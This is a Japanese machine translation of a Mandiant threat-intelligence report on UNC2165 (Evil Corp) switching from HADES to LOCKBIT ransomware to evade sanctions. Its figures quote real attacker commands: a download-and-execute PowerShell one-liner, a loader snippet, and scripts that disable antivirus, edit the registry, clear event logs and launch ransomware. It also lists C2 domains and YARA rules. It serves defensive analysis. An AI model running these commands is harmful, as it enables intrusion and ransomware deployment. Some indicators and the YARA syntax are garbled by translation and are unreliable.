HADES へと戻る: UNC2165 は LOCKBIT に移行して制裁を回避

米国財務省の外国資産管理局 (OFAC) は、2019 年 12 月に Evil Corp として知られる組織に制裁を科し、同グループによる DRIDEX マルウェアエコシステムの広範な開発と使用および管理を理由に挙げました。制裁が発表されて以来、Evil Corp 関連のアクターは、使用するランサムウェアを継続的に変更しているようです (図 1)。具体的には、2020 年 10 月の OFAC アドバイザリに続いて、WASTEDLOCKER の活動が停止し、密接に関連する複数のランサムウェアの亜種が比較的短期間で連続して出現しました。これらの展開は、ランサムウェアと Evil Corp との関係が公開された後、攻撃者が身代金の支払いを受け取るという課題に直面したことを示唆しています。

Mandiant は、UNC2165 に起因する複数のLOCKBITランサムウェア侵入を調査しました。UNC2165 は、「Evil Corp」として公に報告されている脅威グループと多くの重複を共有する金銭目的の脅威クラスターです。 UNC2165 は少なくとも 2019 年から活動しており、 Mandiantが UNC1543 として追跡しているFAKEUPDATES感染チェーンを介してほぼ独占的に被害者のネットワークへのアクセスを取得します。以前、UNC2165 が HADES ランサムウェアを展開することを確認しました。 UNC2165 と Evil Corp の間の重複に基づいて、これらの攻撃者が、ランサムウェアの専用の亜種を使用することから、サービスとしてのランサムウェア (RaaS) として有名な LOCKBIT へと移行したことを確信を持って評価します。制裁を回避するためです。

Figure-1.-Ransomware-families-believed-to-be-associated-with-Evil-Corp-affiliated-actors-(21-00014631) — 図 1: Evil Corp 関連の攻撃者と関連があると考えられるランサムウェアファミリ ( 21-00014631 )

Table of contents

UNC2165 が Evil Corp の活動と重複
攻撃のライフサイクル
関連する可能性のある攻撃者
含意
技術的な付録

UNC2165 が Evil Corp の活動と重複

2019 年 12 月の OFAC の Evil Corp に対する制裁は、司法省 (DOJ)が Bugat マルウェア作戦での役割を理由に起訴された個人に対する起訴状の封印を解いたことと併せて発表されました。 DRIDEX は、マルウェアの配布に複数のアクターが関与するアフィリエイトモデルで動作していると考えられていました。このマルウェアは当初、2018 年の早い時期から従来のバンキング型トロイの木馬として使用されていましたが、被害者のマシンにポストエクスプロイトフレームワークを展開するためのパイプとして DRIDEX が使用されることが増えてきました。セキュリティ研究者はまた、DRIDEX がBITPAYMER の展開に先立って報告され始めたことを報告し始めました。 Evil Corp は DRIDEX の開発と配布で制裁を受けていましたが、このグループはすでに、より収益性の高いランサムウェアオペレーションに移行し始めていました。

UNC2165 の活動は、Evil Corp 関連の攻撃者の活動における別の進化を表している可能性があります。多くのレポートが、新しいランサムウェアファミリの開発や、侵入を可能にする DRIDEX への依存度の低下など、関連する活動の進行を強調しています。帰属を曖昧にするためのこれらの明らかな努力にもかかわらず、UNC2165 は、犠牲者への初期アクセスを取得するために FAKEUPDATES に大きく依存し、インフラストラクチャと特定のランサムウェアファミリの使用を重複させるなど、公に Evil Corp によるものとされている操作と顕著な類似点があります。

UNC2165 は、UNC1543 から被害者のネットワークへの最初のアクセスをほぼ独占的に取得しました。 UNC1543は、少なくとも 2018 年 4 月から FAKEUPDATES を配布している金銭目的の脅威クラスターです。起訴の数か月前に、MandiantはFAKEUPDATES が DRIDEX 感染の最初の感染ベクトルとして使用され、後に BITPAYMER または DOPPELPAYMER の展開につながったと報告しました。
UNC2165 は HADES ランサムウェアを展開しました。このランサムウェアは、Evil Corp 関連の脅威アクターに関連すると考えられている他のランサムウェアとコードと機能が類似しています。
UNC2165 に起因する BEACON ペイロードとコマンドアンドコントロール (C&C) サーバーも、Evil Corp の疑いのある活動に関連して、他のセキュリティベンダーから公に報告されています (表 1)。

表 1: Evil Corp として報告された UNC2165 BEACON C&C サーバーの例
ビーコン C&C	説明
mwebsoft [.] com rostraffic [.]コムコンサルタント[.] com トラフィック[.] com amazingdonutco [.] com コフィードバック[.] com adsmarketart [.] com websitelistbuilder [.] com 高度な分析[.]する adsmarketart [.] com	2020 年 6 月、NCC Groupは WASTEDLOCKER ランサムウェアについて報告しましたが、これは Evil Corp によるものであると確信しています。これらのインシデントでは、攻撃者は最初のアクセスに FAKEUPDATES を利用しました。
カットユーチューブ[.]コム onlinemoula [.] com	2021 年 6 月、Secureworksは、「 GOLD WINTER 」に起因する HADES ランサムウェアの侵入について報告しました。これらのインシデントでは、攻撃者は最初のアクセスに FAKEUPDATES または VPN 資格情報を利用しました。この活動は、後にランサムウェアをさらに分析した結果、GOLD DRAKE (別名 Evil Corp) によるものであることが判明し、GOLD DRAKE によって運営されていると考えられる他のファミリと重複しています。
ポタシップ[.] com 高度な分析[.]する Firsino [.] com currentteach [.] com ニュースクール[.]情報 adsmarketart [.] com	2022 年 2 月、SentinelOneは Evil Corp の系譜に関する詳細なレポートを公開し、WASTEDLOCKER、HADES、PHOENIXLOCKER、PAYLOADBIN、および MACAW が同じ攻撃者によって開発されたことを高い信頼性で評価しました。研究者はまた、FAKEUPDATES と BITPAYMER、DOPPELPAYMER、WASTEDLOCKER、および HADES ランサムウェアの間のインフラストラクチャの重複にも注目しました。

「SilverFish」レポートと重複

UNC2165 は、ProDaft によって「SilverFish」と呼ばれる活動のクラスターとも重複しています。 Mandiant はこのレポートの情報を確認し、分析されたマルウェア管理パネルが FAKEUPDATES 感染の管理と、BEACON を含む二次ペイロードの配布に使用されていると判断しました。レポートに含まれるマルウェアペイロードやその他の技術的成果物に基づいて、説明されているアクティビティの少なくとも一部は UNC2165 に起因すると考えられます。

ProDaft レポート内のスクリーンショットに表示されるコマンドは、UNC2165 アクティビティと一致しています。このコマンドは、 msbuild.exeを使用して.csprojファイルから C&C ドメインtanzaniafisheries[.]comと通信する BEACON ペイロードを実行すると報告されています。私たちは、この BEACON C&C ドメインが UNC2165 によるものであると考えており、UNC2165 がこれと同じ手法を利用して、 .csprojファイルを介して BEACON シェルコードペイロードをロードすることを日常的に観察しています。 FAKEUPDATES C&C サーバーを介してこのコマンドを実行することは、UNC2165 がコマンドを実行し、侵害後にペイロードを起動するために、管理パネルへの少なくともある程度のアクセス権を持っていることを示唆しています。
- 2020 年 6 月以降、FAKEUPDATES 経由で配信されたことが確認されたすべての BEACON ペイロードは、一般的な防弾ホスティングクライアントによる所有権と観察されたエクスプロイト後の TTP に基づいて、UNC2165 に起因するとされています。
- FAKEUDPATES もこの期間中に NETSUPPORT を配信しましたが、現在、この活動が UNC2165 によるものであるとは考えていません。 NETSUPPORT は、資格情報やその他の機密性の高い個人情報を盗むことで、組織ではなく個人に属するマシンへの感染を収益化するために使用される可能性が最も高いです。
ProDaft レポートには、セカンダリペイロードがパネルに直接アップロードされ、ファイル ID 番号で参照されていることを示す画像が含まれています。 COLORFAKE のロードを確認したスクリプトは、次の参照fileid = '<number>' (例: var fileid = ‘190’) を含んでいるため、このアクティビティと一致しています。

攻撃のライフサイクル

UNC2165 の活動は少なくとも 2020 年 6 月までさかのぼりますが、次の TTP は、展開されたランサムウェアを直接観察した侵入に焦点を当てています。

最初の妥協と足場の確立

UNC2165 は、主に FAKEUPDATES 感染を介して被害組織にアクセスし、最終的に影響を受けるホストに BEACON サンプルを展開するローダーを配信します。 UNC2165 Cobalt Strike ペイロードのローダー部分は頻繁に変更されていますが、2020 年以降、ほとんどの侵入で BEACON を継続的に使用しています。

2021 年、UNC2165 はDONUTなどの公開されているローダーを利用して、BEACON ペイロードを展開しました。ただし、2021 年後半以降に観察された侵入では、COLORFAKE (別名ブリスター) ドロッパーが使用されています。
COLORFAKE が使用された最近の UNC2165 侵入では、FAKEUPDATES を介した COLORFAKE ペイロードの最初の配信を示す JavaScript アーティファクトを回復しました。ダウンロードされる各ペイロードには、FAKEUPDATES が取得してディスクに書き込む「fileid」値があります (図 2)。
- - COLORFAKE DLL は%ProgramData%内に.tmpファイルとして配置され、DLL に名前が変更された後、エクスポート機能を使用して RunDLL32 によって実行されます。

図 2: COLORFAKE ローダーのデプロイ
`var filename = 'VIDRESZR1.dll';` `var fileid = '190';` `var replyContent = getFileContentByFileId(fileid);` `var folder = wsh.ExpandEnvironmentStrings('%programdata%');` `var tempFileName = '';` `do {` `tempFileName = fso.BuildPath(folder, fso.GetTempName());` `} while ( fso.FileExists(tempFileName) );` `writeContentToFile(tempFileName, replyContent);` `wsh.Run('cmd /C rename "'+tempFileName+'" "'+filename+'"', 0, true);`

権限の昇格

UNC2165 は、Mimikatz 攻撃や Kerberos 攻撃、Windows レジストリに保存されている認証データを標的とする攻撃、パスワードマネージャーに関連付けられたドキュメントやファイル、またはプレーンテキストの資格情報を含む可能性のあるドキュメントやファイルの検索など、侵入全体で特権昇格に対して複数の一般的なアプローチを採用しています。

UNC2165 は、サービスアカウントを使用して、Windows SECURITYレジストリハイブのコピーを抽出しました。
UNC2165 は Mimikatz を使用し、 Kerberoasting攻撃を実行して、標的の環境で広範な認証情報へのアクセスを取得しました。 UNC2165 によって生成された Kerberos データ出力ファイルは、通常、 %ProgramData%ルートディレクトリに配置されます (図 3)。攻撃者はまた、取得した資格情報をターゲットドメイン全体でテストして、どこで活動するかを特定します。
UNC2165 は、 keep 、 avamar 、 kdb 、 netapp、 pass 、 passwなどの用語を検索して、資格情報や機密データを含む可能性のあるファイルやシステムを抽出目的で特定しました。さらに、攻撃者は、企業のパスワードマネージャーからパスワードに直接アクセスしてエクスポートしました。
UNC2165 は、KEETHIEF/KEETHEFT や SecretServerSecretStealer などのツールを使用して、KeePass からキーマテリアルを収集し、Thycotic Secret Server からシークレットを復号化しました。

図3：UNC2165がGitHubからKerberoastingユーティリティをダウンロード
c `md.exe /C cmd /c powershell -nop -exec bypass -c iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpPack.ps1'); PowerSharpPack -Rubeus -Command "kerberoast"`

内部偵察

UNC1543 FAKEUPDATES 感染に続いて、 whoami、nltest、cmdkey、 netなどの一連の組み込みの Microsoft Windows ユーティリティが、新しくアクセスされたシステムに対して使用され、データを収集し、被害者の環境について詳しく知ることがよくあります。これらのコマンドの大部分は、列挙コマンドのセミコロンで区切られた 1 つの大きなリストを使用して発行され、その後に追加の PowerShell 偵察が続きます (図 4)。この最初の偵察活動は、UNC2165 BEACON 展開の前に発生したため、UNC1543 に起因すると考えられます。ただし、収集された情報はほぼ確実に UNC2165 の意思決定を可能にします。侵入中、UNC2165 は複数の一般的なサードパーティツールを使用して被害者のネットワークを偵察し、内部システムにアクセスして侵入操作のガイドに使用される情報を取得しました。

ある侵入では、UNC2165 が Advanced Port Scanner ユーティリティをダウンロードして実行しました。
UNC2165 は、資産管理ツール Lansweeper をダウンロードしてインストールしました。
UNC2165 は被害者の VMware VCenter にアクセスし、組織の仮想化環境のホスト構成、クラスター、およびストレージデバイスに関する情報を提供しました。
UNC2165 は、TrendMicro OfficeScan 管理コンソールにアクセスし、管理者の役割やその他の構成情報を表示しました。

図 4: UNC1543 偵察コマンド。 UNC2165 の共通の前駆体
`cmd.exe /C powershell /c nltest /dclist: ; nltest /domain_trusts ; cmdkey /list ; net group 'Domain Admins' /domain ; net group 'Enterprise Admins' /domain ; net localgroup Administrators /domain ; net localgroup Administrators` `cmd.exe /C powershell /c "Get-WmiObject win32_service -ComputerName localhost \| Where-Object {$_.PathName -notmatch 'c:win'} \| select Name, DisplayName, State, PathName \| findstr 'Running'"`

横方向の動きと存在感の維持

UNC2165 は Cobalt Strike BEACON に大きく依存して、横方向の移動を可能にし、犠牲者の環境で存在を維持します。 BEACON の使用以外にも、UNC2165 は一般的な管理プロトコルとソフトウェアを使用して、RDP や SSH などのラテラルムーブメントを可能にしています。

攻撃者は、SSH 経由で PuTTy を使用してエンタープライズストレージシステムに接続しました。
UNC2165 は、RDP を介して被害者の環境内を横方向に移動しました。
永続性と水平移動の両方をサポートするために、UNC2165 はローカルシステムアカウントを作成し、ローカル管理者や RDP ユーザーを含むグループに追加しました。
少なくとも 1 つのケースでは、UNC2165 は企業の VPN インフラストラクチャを介して被害者の環境へのアクセスを維持していました。

ミッションを完了する

ほとんどの場合、UNC2165 は被害者からデータを盗み、環境全体にランサムウェアを展開した後、恐喝の手段として使用します。データの流出方法が特定できる侵入では、グループが Rclone または MEGASync のいずれかを使用して、暗号化の前に被害者の環境からデータを転送したことを示唆する証拠があります。 Rclone ユーティリティは、機密ファイルをクラウドストレージプロバイダーと同期するために金銭目的の多くのアクターによって使用され、MEGASync はデータを MEGA クラウドホスティングサービスに同期します。

UNC2165 は、その操作の最終段階で複数の Windows バッチスクリプトを利用して、ランサムウェアを展開し、ランサムウェアの拡散を支援するためにシステムを変更しました。 UN2165 が HADES と LOCKBIT の両方を使用していることを確認しました。 2021 年初頭以降、これらの攻撃者が HADES を使用していることは確認されていません。特に、 LOCKBIT は有名なサービスとしてのランサムウェア (RaaS) アフィリエイトプログラムであり、UNC2758 として追跡されており、2020 年初頭からアンダーグラウンドフォーラムで宣伝されてきました ( 21 -00026166 )。

UNC2165 は、グループポリシーの更新を強制するスクリプトを使用し、拡張子が EXE、BAT、または DLL のすべてのファイルと、 C:ProgramdataおよびC:Windowsディレクトリを Windows Defender の除外リストに追加します (図 5)。
UNC2165 スクリプトは、ランサムウェアの展開前に、WMI を使用してウイルス対策製品やその他の Windows サービスを停止およびアンインストールすることもありました (図 6)。
UNC2165 は、スクリプトを使用して複数の Windows レジストリキーを変更し、ランサムウェアの実行に対する障壁を取り除き、Windows タスクマネージャー、レジストリツール、コマンドプロンプトなど、管理者が一般的に使用するユーティリティを無効にしました (図 7)。
UNC2165 は、PSEXEC を使用して暗号化プロセスを開始するランサムウェア実行スクリプトを採用しています。また、このスクリプトは Windows Defender を無効にし、Windows イベントログをクリアします (図 8)。

図 5: グループポリシーの更新を強制するサンプルスクリプト
`gpupdate /force` `powershell.exe -command Add-MpPreference -ExclusionExtension ".bat"` `powershell.exe -command Add-MpPreference -ExclusionExtension ".exe"` `powershell.exe -command Add-MpPreference -ExclusionExtension ".dll"` `powershell.exe -command Add-MpPreference -ExclusionPath "C:Programdata"` `powershell.exe -command Add-MpPreference -ExclusionPath "C:Windows>"`

図 6: ウイルス対策製品をアンインストールするサンプルスクリプト
`wmic product where name="CarbonBlack Sensor" call uninstall /nointeractive` `wmic product where name="Carbon Black Sensor" call uninstall /nointeractive` `wmic product where name="Carbon Black Cloud Sensor 64-bit" call uninstall /nointeractive` `wmic product where name="CarbonBlack Cloud Sensor 64-bit" call uninstall /nointeractive` `wmic product where name="Cb Defense Sensor 64-bit" call uninstall /nointeractive` `wmic product where "name like '%%Cb Defense%%'" call uninstall /nointeractive` `wmic product where name="Dell Threat Defense" call uninstall /nointeractive` `wmic product where name="Cylance PROTECT" call uninstall /nointeractive` `wmic product where name="Cylance Unified Agent" call uninstall /nointeractive` `wmic product where name="Cylance PROTECT - Dell Plugins" call uninstall /nointeractive` `wmic product where name="Microsoft Security Client" call uninstall /nointeractive` `wmic product where name="LogRhythm System Monitor Service" call uninstall /nointeractive` `wmic product where name="Microsoft Endpoint Protection Management Components" call uninstall /nointeractive` `wmic service where "caption like '%%LogRhythm%%'" call stopservice` `wmic service where "caption like '%%SQL%%'" call stopservice` `wmic service where "caption like '%%Exchange%%'" call stopservice` `wmic service where "caption like '%%Malwarebytes%%'" call stopservice`

図 7: Windows レジストリを編集するサンプルスクリプト
`reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v "HidePowerOptions" /t REG_DWORD /d 1` `reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer" /f /v "HidePowerOptions" /t REG_DWORD /d 1` `reg add "HKCUSoftwarePoliciesMicrosoftWindowsExplorer" /f /v "DisableNotificationCenter" /t REG_DWORD /d 1` `reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPushNotifications" /f /v "ToastEnabled" /t REG_DWORD /d 0` `reg add "hklmsystemcurrentcontrolsetcontrolStorage" /f /v "write Protection" /t REG_DWORD /d 0` `reg add "hklmsystemcurrentcontrolsetcontrolStorageDevicePolicies" /f /v "writeprotect" /t REG_DWORD /d 0` `reg add "hklmsystemcurrentcontrolsetServicesLanmanServerParameters" /f /v "AutoShareWks" /t REG_DWORD /d 1` `reg add "hklmSOFTWAREMicrosoftWindowsCurrentVersionPoliciessystem" /f /v "LocalAccountTokenFilterPolicy" /t REG_DWORD /d 1` `reg add "HKLMSoftwarePoliciesMicrosoftWindows DefenderUX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f` `reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f` `reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem" /v "DisableCMD" /t REG_DWORD /d "1" /f` `reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem" /v "DisableRegistryTools" /t REG_DWORD /d "1" /f` `reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /v "NoRun" /t REG_DWORD /d "1" /f`

図 8: LOCKBIT バイナリを実行するサンプルスクリプト
`cd c:&PsExec.exe -accepteula -d -h -high - u . <USERNAME> -p "<PASSWORD>" c:<RANSOMWARE_BINARY>.exe` `cd c:&PsExec.exe -accepteula -d -h -i -high - u . <USERNAME> -p "<PASSWORD>" c:<RANSOMWARE_BINARY>.exe` `cd c:&PsExec.exe -accepteula -d -h - u . <USERNAME> -p "<PASSWORD>" c:<RANSOMWARE_BINARY>.exe` `cd c:&PsExec.exe -accepteula -d -h -i - u . <USERNAME> -p "<PASSWORD>" c:<RANSOMWARE_BINARY>.exe` `tasklist \| findstr /i <RANSOMWARE_BINARY> > <REDACTED><REDACTED><REDACTED>%COMPUTERNAME%.txt` `cmd.exe /c "C:Program FilesWindows DefenderMpCmdRun.exe" -RemoveDefinitions -All` `sc stop WinDefend` `sc config WinDefend start= disabled` `sc delete WinDefend` `for /F "tokens= *" % %1 in ('wevtutil.exe el') DO wevtutil.exe cl "% %1"`

含意

米国政府は、ランサムウェアの操作に取り組むためのより広範なツールキットの一部として、制裁をますます活用しています。これには、ランサムウェアの操作に直接関与するアクターと、不正な資金を受け取った暗号通貨取引所の両方に対する制裁が含まれています。これらの制裁は、脅威アクターの活動に直接的な影響を与えています。特に、交渉などのランサムウェア修復活動に関与する少なくとも一部の企業が、既知の制裁対象組織への支払いを促進することを拒否しているためです。これにより、ランサムウェア操作の主な要因である、攻撃者が被害者から支払う能力が最終的に低下する可能性があります。

既存のランサムウェアの採用は、UNC2165 が Evil Corp との提携を隠蔽しようとする自然な進化です。近年の LOCKBIT の卓越性と、いくつかの異なる脅威クラスターによるその使用の成功により、ランサムウェアが魅力的な選択肢になった可能性があります。この RaaS を使用すると、UNC2165 が他のアフィリエイトに溶け込むことができるため、攻撃ライフサイクルの初期段階を可視化して、専用のランサムウェアの使用に基づいて起因する可能性のある以前の操作と比較して、アクティビティを適切に特定する必要があります。さらに、HADES の頻繁なコード更新とブランド変更には開発リソースが必要であり、UNC2165 が LOCKBIT の使用をより費用対効果の高い選択肢と見なしたのはもっともなことです。 RaaS を使用すると、ランサムウェアの開発にかかる時間と労力が不要になり、ランサムウェアの展開操作を拡大するなど、リソースを別の場所で使用できるようになります。また、その採用により、攻撃者が完全に新しいランサムウェアをゼロから開発するための時間が一時的に増える可能性があり、セキュリティ研究者がそれを以前の Evil Corp の操作に簡単に関連付けることができなくなります。

UNC2165 オペレーションの背後にいる攻撃者が、Evil Corp の名前から距離を置くために追加の手順を引き続き実行する可能性があります。たとえば、攻撃者は FAKEUPDATES の使用を放棄することを選択できます。FAKEUPDATES は、Evil Corp の攻撃者とのリンクが十分に文書化されている操作であり、新たに開発された配信ベクトルを支持するか、アンダーグラウンドコミュニティからアクセスを取得しようとする可能性があります。 UNC2165 が侵入のサブセットで盗んだ資格情報を利用したことを考えると、この発展傾向のいくつかの証拠はすでに存在しており、これは疑わしいメンバーのアンダーグラウンドフォーラム活動と一致しています。私たちは、これらのアクターや将来的に制裁を受ける他のアクターが、被害者からの支払いを制限する要因にならないようにするために、身元を隠すためにこのような措置を講じることを期待しています.

技術的な付録

MITRE ATT&CK マッピング

Mandiant は、UNC2165 が次の手法を使用していることを確認しました。

影響

T1486: 影響を与えるために暗号化されたデータ
T1489: サービス停止
T1490: システム回復を禁止する
T1529: システムのシャットダウン/再起動

防御回避

T1027: 難読化されたファイルまたは情報
T1027.005: ツールからのインジケーターの削除
T1036: マスカレード
T1055: プロセスインジェクション
T1055.002: ポータブル実行可能インジェクション
T1070.001: Windows イベントログをクリアする
T1070.004: ファイルの削除
T1070.005: ネットワーク共有接続の削除
T1070.006: タイムスタンプ
T1078: 有効なアカウント
T1112: レジストリの変更
T1127.001: MSBuild
T1134: アクセストークンの操作
T1134.001: トークンのなりすまし/盗難
T1140: ファイルまたは情報の難読化解除/デコード
T1202: 間接コマンド実行
T1218.005: ムシュタ
T1218.011:Rundll32
T1497: 仮想化/サンドボックスの回避
T1497.001: システムチェック
T1553.002: コード署名
T1562.001: ツールの無効化または変更
T1562.004: システムファイアウォールの無効化または変更
T1564.003: 隠しウィンドウ
T1620: リフレクティブコードの読み込み

コマンドと制御

T1071: アプリケーション層プロトコル
T1071.001: Web プロトコル
T1071.004: DNS
T1090.004: ドメインフロンティング
T1095: 非アプリケーション層プロトコル
T1105: Ingress ツール転送
T1573.002: 非対称暗号

コレクション

T1056.001: キーロギング
T1113: 画面キャプチャ
T1115: クリップボードデータ
T1560: 収集されたデータのアーカイブ
T1602.002: ネットワークデバイス構成のダンプ

発見

T1007: システムサービスディスカバリ
T1010: アプリケーションウィンドウの検出
T1012: レジストリのクエリ
T1016: システムネットワーク構成の検出
T1033: システム所有者/ユーザーの検出
T1049: システムネットワーク接続の検出
T1057: プロセス検出
T1069: アクセス許可グループの検出
T1069.001: ローカルグループ
T1069.002: ドメイングループ
T1082: システム情報の検出
T1083: ファイルとディレクトリの検出
T1087: アカウントの検出
T1087.001: ローカルアカウント
T1087.002: ドメインアカウント
T1482: ドメイン信頼発見
T1518: ソフトウェア検出
T1614.001: システム言語の検出

横移動

T1021.001: リモートデスクトッププロトコル
T1021.002: SMB/Windows 管理共有
T1021.004: SSH

流出

T1020: 自動抽出

実行

T1047: Windows Management Instrumentation
T1053: スケジュールされたタスク/ジョブ
T1053.005: スケジュールされたタスク
T1059: コマンドおよびスクリプトインタープリター
T1059.001: PowerShell
T1059.003: Windows コマンドシェル
T1059.005: Visual Basic
T1059.007: JavaScript
T1569.002: サービスの実行

持続性

T1098: アカウント操作
T1136: アカウントの作成
T1136.001: ローカルアカウント
T1543.003: Windows サービス
T1547.001: レジストリ実行キー/スタートアップフォルダ
T1547.009: ショートカットの変更

資格情報へのアクセス

T1003.001: LSASS メモリ
T1003.002: セキュリティアカウントマネージャー
T1552.002: レジストリの資格情報
T1558: Kerberos チケットを盗むか偽造する
T1558.003: ケルベロスト

初期アクセス

T1133: 外部リモートサービス
T1189: ドライブバイ侵害

資源開発

T1588.003: コードサイニング証明書
T1588.004: デジタル証明書
T1608.003: デジタル証明書のインストール

ロックビットYARAのルール

次の YARA ルールは、適切なパフォーマンスを確保し、誤検知のリスクを制限するために、組織独自の内部テストプロセスを通じて最初に検証することなく、運用システムで使用したり、ブロックルールを通知したりすることを意図したものではありません。これらのルールは、LOCKBIT アクティビティを特定するためのハンティング作業の開始点として機能することを目的としています。ただし、マルウェアファミリが変更された場合は、時間の経過とともに調整が必要になる場合があります。

図 9: LOCKBIT YARA ルールは、LOCKBIT v1 身代金メモに関連する文字列を含む PE ファイルを検出します
ルール LOCKBIT_Note_PE_v1 { 文字列: $onion = /http://lockbit[a-z0-9]{9,49}.onion/ ascii wide $note1 = “restore-my-files.txt” nocase ascii wide $note2 = /lockbit[_-](ransomware\|note).hta/ nocase ascii wide $v2 = “LockBit_2_0_Ransom” ノーケースワイド調子： (uint16(0) == 0x5A4D) および (uint32(uint32(0x3C)) == 0x00004550) そして$オニオンおよび (($note*) のすべて) であり、$v2 ではない

図 10: LOCKBIT YARA ルールは、LOCKBIT 2.0 身代金メモに関連する文字列を含む PE ファイルを検出します
ルール LOCKBIT_Note_PE_v2 { 文字列: $onion = /http://lockbit[a-z0-9]{9,49}.onion/ ascii wide $note1 = “restore-my-files.txt” nocase ascii wide $note2 = /lockbit[_-](ransomware\|note).hta/ nocase ascii wide $v2 = “LockBit_2_0_Ransom” ノーケースワイド調子： (uint16(0) == 0x5A4D) および (uint32(uint32(0x3C)) == 0x00004550) およびそれらすべて }

参照: https://www.mandiant.com/resources/blog/unc2165-shifts-to-evade-sanctions

UNC2165 が Evil Corp の活動と重複

攻撃のライフサイクル

関連する可能性のある攻撃者

含意

技術的な付録

Comments